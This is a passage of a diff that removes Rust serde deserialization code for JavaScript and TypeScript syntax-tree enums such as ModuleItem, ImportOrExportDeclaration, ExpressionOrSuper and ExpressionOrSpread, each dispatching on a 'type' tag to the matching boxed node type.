-                Ok(ModuleItem::Statement(Statement::DebuggerStatement(node)))
-            }
-            __ModuleItemTag::DoWhileStatement => {
-                let node: Box<DoWhileStatement> = <Box<
-                    DoWhileStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::DoWhileStatement(node)))
-            }
-            __ModuleItemTag::EmptyStatement => {
-                let node: Box<EmptyStatement> = <Box<
-                    EmptyStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::EmptyStatement(node)))
-            }
-            __ModuleItemTag::ExpressionStatement => {
-                let node: Box<ExpressionStatement> = <Box<
-                    ExpressionStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::ExpressionStatement(node)))
-            }
-            __ModuleItemTag::ForInStatement => {
-                let node: Box<ForInStatement> = <Box<
-                    ForInStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::ForInStatement(node)))
-            }
-            __ModuleItemTag::ForOfStatement => {
-                let node: Box<ForOfStatement> = <Box<
-                    ForOfStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::ForOfStatement(node)))
-            }
-            __ModuleItemTag::ForStatement => {
-                let node: Box<ForStatement> = <Box<
-                    ForStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::ForStatement(node)))
-            }
-            __ModuleItemTag::FunctionDeclaration => {
-                let node: Box<FunctionDeclaration> = <Box<
-                    FunctionDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::FunctionDeclaration(node)))
-            }
-            __ModuleItemTag::IfStatement => {
-                let node: Box<IfStatement> = <Box<
-                    IfStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::IfStatement(node)))
-            }
-            __ModuleItemTag::LabeledStatement => {
-                let node: Box<LabeledStatement> = <Box<
-                    LabeledStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::LabeledStatement(node)))
-            }
-            __ModuleItemTag::ReturnStatement => {
-                let node: Box<ReturnStatement> = <Box<
-                    ReturnStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::ReturnStatement(node)))
-            }
-            __ModuleItemTag::SwitchStatement => {
-                let node: Box<SwitchStatement> = <Box<
-                    SwitchStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::SwitchStatement(node)))
-            }
-            __ModuleItemTag::ThrowStatement => {
-                let node: Box<ThrowStatement> = <Box<
-                    ThrowStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::ThrowStatement(node)))
-            }
-            __ModuleItemTag::TryStatement => {
-                let node: Box<TryStatement> = <Box<
-                    TryStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::TryStatement(node)))
-            }
-            __ModuleItemTag::TSTypeAliasDeclaration => {
-                let node: Box<TSTypeAliasDeclaration> = <Box<
-                    TSTypeAliasDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::TSTypeAliasDeclaration(node)))
-            }
-            __ModuleItemTag::VariableDeclaration => {
-                let node: Box<VariableDeclaration> = <Box<
-                    VariableDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::VariableDeclaration(node)))
-            }
-            __ModuleItemTag::WhileStatement => {
-                let node: Box<WhileStatement> = <Box<
-                    WhileStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::WhileStatement(node)))
-            }
-            __ModuleItemTag::WithStatement => {
-                let node: Box<WithStatement> = <Box<
-                    WithStatement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ModuleItem::Statement(Statement::WithStatement(node)))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum ImportOrExportDeclaration {
-    ExportAllDeclaration(Box<ExportAllDeclaration>),
-    ExportDefaultDeclaration(Box<ExportDefaultDeclaration>),
-    ExportNamedDeclaration(Box<ExportNamedDeclaration>),
-    ImportDeclaration(Box<ImportDeclaration>),
-}
-#[derive(Deserialize, Debug)]
-enum __ImportOrExportDeclarationTag {
-    ImportDeclaration,
-    ExportNamedDeclaration,
-    ExportDefaultDeclaration,
-    ExportAllDeclaration,
-}
-impl<'de> serde::Deserialize<'de> for ImportOrExportDeclaration {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __ImportOrExportDeclarationTag,
-            >::new("type", "ImportOrExportDeclaration"),
-        )?;
-        match tagged.0 {
-            __ImportOrExportDeclarationTag::ImportDeclaration => {
-                let node: Box<ImportDeclaration> = <Box<
-                    ImportDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ImportOrExportDeclaration::ImportDeclaration(node))
-            }
-            __ImportOrExportDeclarationTag::ExportNamedDeclaration => {
-                let node: Box<ExportNamedDeclaration> = <Box<
-                    ExportNamedDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ImportOrExportDeclaration::ExportNamedDeclaration(node))
-            }
-            __ImportOrExportDeclarationTag::ExportDefaultDeclaration => {
-                let node: Box<ExportDefaultDeclaration> = <Box<
-                    ExportDefaultDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ImportOrExportDeclaration::ExportDefaultDeclaration(node))
-            }
-            __ImportOrExportDeclarationTag::ExportAllDeclaration => {
-                let node: Box<ExportAllDeclaration> = <Box<
-                    ExportAllDeclaration,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ImportOrExportDeclaration::ExportAllDeclaration(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum ExpressionOrSuper {
-    Expression(Expression),
-    Super(Box<Super>),
-}
-#[derive(Deserialize, Debug)]
-enum __ExpressionOrSuperTag {
-    ArrayExpression,
-    ArrowFunctionExpression,
-    AssignmentExpression,
-    AwaitExpression,
-    BinaryExpression,
-    BooleanLiteral,
-    CallExpression,
-    ChainExpression,
-    ClassExpression,
-    ConditionalExpression,
-    CoverTypedIdentifier,
-    FunctionExpression,
-    Identifier,
-    ImportExpression,
-    JSXElement,
-    JSXFragment,
-    Literal,
-    LogicalExpression,
-    MemberExpression,
-    MetaProperty,
-    NewExpression,
-    NullLiteral,
-    NumericLiteral,
-    ObjectExpression,
-    OptionalCallExpression,
-    OptionalMemberExpression,
-    RegExpLiteral,
-    SequenceExpression,
-    StringLiteral,
-    TaggedTemplateExpression,
-    TemplateLiteral,
-    ThisExpression,
-    UnaryExpression,
-    UpdateExpression,
-    YieldExpression,
-    Super,
-}
-impl<'de> serde::Deserialize<'de> for ExpressionOrSuper {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __ExpressionOrSuperTag,
-            >::new("type", "ExpressionOrSuper"),
-        )?;
-        match tagged.0 {
-            __ExpressionOrSuperTag::ArrayExpression => {
-                let node: Box<ArrayExpression> = <Box<
-                    ArrayExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::ArrayExpression(node)))
-            }
-            __ExpressionOrSuperTag::ArrowFunctionExpression => {
-                let node: Box<ArrowFunctionExpression> = <Box<
-                    ArrowFunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSuper::Expression(
-                        Expression::ArrowFunctionExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrSuperTag::AssignmentExpression => {
-                let node: Box<AssignmentExpression> = <Box<
-                    AssignmentExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::AssignmentExpression(node)))
-            }
-            __ExpressionOrSuperTag::AwaitExpression => {
-                let node: Box<AwaitExpression> = <Box<
-                    AwaitExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::AwaitExpression(node)))
-            }
-            __ExpressionOrSuperTag::BinaryExpression => {
-                let node: Box<BinaryExpression> = <Box<
-                    BinaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::BinaryExpression(node)))
-            }
-            __ExpressionOrSuperTag::BooleanLiteral => {
-                let node: Box<BooleanLiteral> = <Box<
-                    BooleanLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::BooleanLiteral(node)))
-            }
-            __ExpressionOrSuperTag::CallExpression => {
-                let node: Box<CallExpression> = <Box<
-                    CallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::CallExpression(node)))
-            }
-            __ExpressionOrSuperTag::ChainExpression => {
-                let node: Box<ChainExpression> = <Box<
-                    ChainExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::ChainExpression(node)))
-            }
-            __ExpressionOrSuperTag::ClassExpression => {
-                let node: Box<ClassExpression> = <Box<
-                    ClassExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::ClassExpression(node)))
-            }
-            __ExpressionOrSuperTag::ConditionalExpression => {
-                let node: Box<ConditionalExpression> = <Box<
-                    ConditionalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSuper::Expression(
-                        Expression::ConditionalExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrSuperTag::CoverTypedIdentifier => {
-                let node: Box<CoverTypedIdentifier> = <Box<
-                    CoverTypedIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::CoverTypedIdentifier(node)))
-            }
-            __ExpressionOrSuperTag::FunctionExpression => {
-                let node: Box<FunctionExpression> = <Box<
-                    FunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::FunctionExpression(node)))
-            }
-            __ExpressionOrSuperTag::Identifier => {
-                let node: Box<Identifier> = <Box<
-                    Identifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::Identifier(node)))
-            }
-            __ExpressionOrSuperTag::ImportExpression => {
-                let node: Box<ImportExpression> = <Box<
-                    ImportExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::ImportExpression(node)))
-            }
-            __ExpressionOrSuperTag::JSXElement => {
-                let node: Box<JSXElement> = <Box<
-                    JSXElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::JSXElement(node)))
-            }
-            __ExpressionOrSuperTag::JSXFragment => {
-                let node: Box<JSXFragment> = <Box<
-                    JSXFragment,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::JSXFragment(node)))
-            }
-            __ExpressionOrSuperTag::Literal => {
-                let node: Box<Literal> = <Box<
-                    Literal,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::Literal(node)))
-            }
-            __ExpressionOrSuperTag::LogicalExpression => {
-                let node: Box<LogicalExpression> = <Box<
-                    LogicalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::LogicalExpression(node)))
-            }
-            __ExpressionOrSuperTag::MemberExpression => {
-                let node: Box<MemberExpression> = <Box<
-                    MemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::MemberExpression(node)))
-            }
-            __ExpressionOrSuperTag::MetaProperty => {
-                let node: Box<MetaProperty> = <Box<
-                    MetaProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::MetaProperty(node)))
-            }
-            __ExpressionOrSuperTag::NewExpression => {
-                let node: Box<NewExpression> = <Box<
-                    NewExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::NewExpression(node)))
-            }
-            __ExpressionOrSuperTag::NullLiteral => {
-                let node: Box<NullLiteral> = <Box<
-                    NullLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::NullLiteral(node)))
-            }
-            __ExpressionOrSuperTag::NumericLiteral => {
-                let node: Box<NumericLiteral> = <Box<
-                    NumericLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::NumericLiteral(node)))
-            }
-            __ExpressionOrSuperTag::ObjectExpression => {
-                let node: Box<ObjectExpression> = <Box<
-                    ObjectExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::ObjectExpression(node)))
-            }
-            __ExpressionOrSuperTag::OptionalCallExpression => {
-                let node: Box<OptionalCallExpression> = <Box<
-                    OptionalCallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSuper::Expression(
-                        Expression::OptionalCallExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrSuperTag::OptionalMemberExpression => {
-                let node: Box<OptionalMemberExpression> = <Box<
-                    OptionalMemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSuper::Expression(
-                        Expression::OptionalMemberExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrSuperTag::RegExpLiteral => {
-                let node: Box<RegExpLiteral> = <Box<
-                    RegExpLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::RegExpLiteral(node)))
-            }
-            __ExpressionOrSuperTag::SequenceExpression => {
-                let node: Box<SequenceExpression> = <Box<
-                    SequenceExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::SequenceExpression(node)))
-            }
-            __ExpressionOrSuperTag::StringLiteral => {
-                let node: Box<StringLiteral> = <Box<
-                    StringLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::StringLiteral(node)))
-            }
-            __ExpressionOrSuperTag::TaggedTemplateExpression => {
-                let node: Box<TaggedTemplateExpression> = <Box<
-                    TaggedTemplateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSuper::Expression(
-                        Expression::TaggedTemplateExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrSuperTag::TemplateLiteral => {
-                let node: Box<TemplateLiteral> = <Box<
-                    TemplateLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::TemplateLiteral(node)))
-            }
-            __ExpressionOrSuperTag::ThisExpression => {
-                let node: Box<ThisExpression> = <Box<
-                    ThisExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::ThisExpression(node)))
-            }
-            __ExpressionOrSuperTag::UnaryExpression => {
-                let node: Box<UnaryExpression> = <Box<
-                    UnaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::UnaryExpression(node)))
-            }
-            __ExpressionOrSuperTag::UpdateExpression => {
-                let node: Box<UpdateExpression> = <Box<
-                    UpdateExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::UpdateExpression(node)))
-            }
-            __ExpressionOrSuperTag::YieldExpression => {
-                let node: Box<YieldExpression> = <Box<
-                    YieldExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Expression(Expression::YieldExpression(node)))
-            }
-            __ExpressionOrSuperTag::Super => {
-                let node: Box<Super> = <Box<
-                    Super,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSuper::Super(node))
-            }
-        }
-    }
-}
-#[derive(Serialize, Clone, Debug)]
-#[serde(untagged)]
-pub enum ExpressionOrSpread {
-    Expression(Expression),
-    SpreadElement(Box<SpreadElement>),
-}
-#[derive(Deserialize, Debug)]
-enum __ExpressionOrSpreadTag {
-    ArrayExpression,
-    ArrowFunctionExpression,
-    AssignmentExpression,
-    AwaitExpression,
-    BinaryExpression,
-    BooleanLiteral,
-    CallExpression,
-    ChainExpression,
-    ClassExpression,
-    ConditionalExpression,
-    CoverTypedIdentifier,
-    FunctionExpression,
-    Identifier,
-    ImportExpression,
-    JSXElement,
-    JSXFragment,
-    Literal,
-    LogicalExpression,
-    MemberExpression,
-    MetaProperty,
-    NewExpression,
-    NullLiteral,
-    NumericLiteral,
-    ObjectExpression,
-    OptionalCallExpression,
-    OptionalMemberExpression,
-    RegExpLiteral,
-    SequenceExpression,
-    StringLiteral,
-    TaggedTemplateExpression,
-    TemplateLiteral,
-    ThisExpression,
-    UnaryExpression,
-    UpdateExpression,
-    YieldExpression,
-    SpreadElement,
-}
-impl<'de> serde::Deserialize<'de> for ExpressionOrSpread {
-    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
-    where
-        D: serde::Deserializer<'de>,
-    {
-        let tagged = serde::Deserializer::deserialize_any(
-            deserializer,
-            serde::__private::de::TaggedContentVisitor::<
-                __ExpressionOrSpreadTag,
-            >::new("type", "ExpressionOrSpread"),
-        )?;
-        match tagged.0 {
-            __ExpressionOrSpreadTag::ArrayExpression => {
-                let node: Box<ArrayExpression> = <Box<
-                    ArrayExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::ArrayExpression(node)))
-            }
-            __ExpressionOrSpreadTag::ArrowFunctionExpression => {
-                let node: Box<ArrowFunctionExpression> = <Box<
-                    ArrowFunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSpread::Expression(
-                        Expression::ArrowFunctionExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrSpreadTag::AssignmentExpression => {
-                let node: Box<AssignmentExpression> = <Box<
-                    AssignmentExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSpread::Expression(
-                        Expression::AssignmentExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrSpreadTag::AwaitExpression => {
-                let node: Box<AwaitExpression> = <Box<
-                    AwaitExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::AwaitExpression(node)))
-            }
-            __ExpressionOrSpreadTag::BinaryExpression => {
-                let node: Box<BinaryExpression> = <Box<
-                    BinaryExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::BinaryExpression(node)))
-            }
-            __ExpressionOrSpreadTag::BooleanLiteral => {
-                let node: Box<BooleanLiteral> = <Box<
-                    BooleanLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::BooleanLiteral(node)))
-            }
-            __ExpressionOrSpreadTag::CallExpression => {
-                let node: Box<CallExpression> = <Box<
-                    CallExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::CallExpression(node)))
-            }
-            __ExpressionOrSpreadTag::ChainExpression => {
-                let node: Box<ChainExpression> = <Box<
-                    ChainExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::ChainExpression(node)))
-            }
-            __ExpressionOrSpreadTag::ClassExpression => {
-                let node: Box<ClassExpression> = <Box<
-                    ClassExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::ClassExpression(node)))
-            }
-            __ExpressionOrSpreadTag::ConditionalExpression => {
-                let node: Box<ConditionalExpression> = <Box<
-                    ConditionalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSpread::Expression(
-                        Expression::ConditionalExpression(node),
-                    ),
-                )
-            }
-            __ExpressionOrSpreadTag::CoverTypedIdentifier => {
-                let node: Box<CoverTypedIdentifier> = <Box<
-                    CoverTypedIdentifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(
-                    ExpressionOrSpread::Expression(
-                        Expression::CoverTypedIdentifier(node),
-                    ),
-                )
-            }
-            __ExpressionOrSpreadTag::FunctionExpression => {
-                let node: Box<FunctionExpression> = <Box<
-                    FunctionExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::FunctionExpression(node)))
-            }
-            __ExpressionOrSpreadTag::Identifier => {
-                let node: Box<Identifier> = <Box<
-                    Identifier,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::Identifier(node)))
-            }
-            __ExpressionOrSpreadTag::ImportExpression => {
-                let node: Box<ImportExpression> = <Box<
-                    ImportExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::ImportExpression(node)))
-            }
-            __ExpressionOrSpreadTag::JSXElement => {
-                let node: Box<JSXElement> = <Box<
-                    JSXElement,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::JSXElement(node)))
-            }
-            __ExpressionOrSpreadTag::JSXFragment => {
-                let node: Box<JSXFragment> = <Box<
-                    JSXFragment,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::JSXFragment(node)))
-            }
-            __ExpressionOrSpreadTag::Literal => {
-                let node: Box<Literal> = <Box<
-                    Literal,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::Literal(node)))
-            }
-            __ExpressionOrSpreadTag::LogicalExpression => {
-                let node: Box<LogicalExpression> = <Box<
-                    LogicalExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::LogicalExpression(node)))
-            }
-            __ExpressionOrSpreadTag::MemberExpression => {
-                let node: Box<MemberExpression> = <Box<
-                    MemberExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::MemberExpression(node)))
-            }
-            __ExpressionOrSpreadTag::MetaProperty => {
-                let node: Box<MetaProperty> = <Box<
-                    MetaProperty,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::MetaProperty(node)))
-            }
-            __ExpressionOrSpreadTag::NewExpression => {
-                let node: Box<NewExpression> = <Box<
-                    NewExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::NewExpression(node)))
-            }
-            __ExpressionOrSpreadTag::NullLiteral => {
-                let node: Box<NullLiteral> = <Box<
-                    NullLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::NullLiteral(node)))
-            }
-            __ExpressionOrSpreadTag::NumericLiteral => {
-                let node: Box<NumericLiteral> = <Box<
-                    NumericLiteral,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::NumericLiteral(node)))
-            }
-            __ExpressionOrSpreadTag::ObjectExpression => {
-                let node: Box<ObjectExpression> = <Box<
-                    ObjectExpression,
-                > as Deserialize>::deserialize(
-                    serde::__private::de::ContentDeserializer::<D::Error>::new(tagged.1),
-                )?;
-                Ok(ExpressionOrSpread::Expression(Expression::ObjectExpression(node)))
-            }
-            __ExpressionOrSpreadTag::OptionalCallExpression => {
